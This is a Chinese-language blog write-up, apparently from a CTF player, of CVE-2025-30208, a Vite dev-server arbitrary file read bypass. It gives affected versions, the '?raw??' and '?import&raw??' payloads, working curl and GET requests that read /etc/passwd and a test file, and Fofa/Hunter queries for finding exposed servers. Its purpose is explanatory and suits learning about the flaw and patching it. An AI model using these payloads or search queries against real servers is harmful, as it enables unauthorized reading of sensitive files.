0%

CVE-2025-30208

CVE-2025-30208

也是今天打题的时候,遇到的一个特别有意思的服务器漏洞,在这里记录一下,利用难度也不是很大

漏洞简介

CVE-2025-30208 是 Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制,从而读取服务器上的敏感文件(如 /etc/passwd 或 C:\windows\win.ini)。

该漏洞主要影响以下版本的 Vite:

6.2.3 之前
6.1.2 之前
6.0.12 之前
5.4.15 之前
4.5.10 之前

漏洞原理

Vite 开发服务器提供 @fs 机制,用于防止访问 Vite 允许列表之外的文件。然而,由于 URL 解析时的正则表达式处理不当,攻击者可以通过 ?raw???import&raw?? 等查询参数绕过访问限制,从而读取任意文件。

详细分析
在 Vite 服务器的 URL 处理逻辑中,@fs 机制原本用于限制对非白名单目录的访问,例如:

1
2
3
4
5
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}

然而,Vite 在 URL 解析过程中会移除部分特殊字符,而未正确考虑查询参数的影响,导致攻击者可以构造类似如下的请求绕过安全检查:

1
2
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?import&raw??

由于 Vite 解析 URL 时未正确处理这些参数,导致绕过 server.fs.allow 限制,并返回任意文件内容。

漏洞利用
Fofa & Hunter 搜索
攻击者可使用以下测绘语句搜索可能受影响的 Vite 服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Fofa:
body="/@vite/client"

Hunter:
web.body="/@vite/client"
PoC(概念验证)
启动 Vite 服务器:

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
创建测试文件:

$ echo "top secret content" > /tmp/secret.txt
发送漏洞利用请求:

###

正常情况下被拒绝

1
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

绕过访问控制

1
2
3
4
5
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
漏洞验证
GET /etc/passwd?import&raw?? HTTP/1.1
Host: ********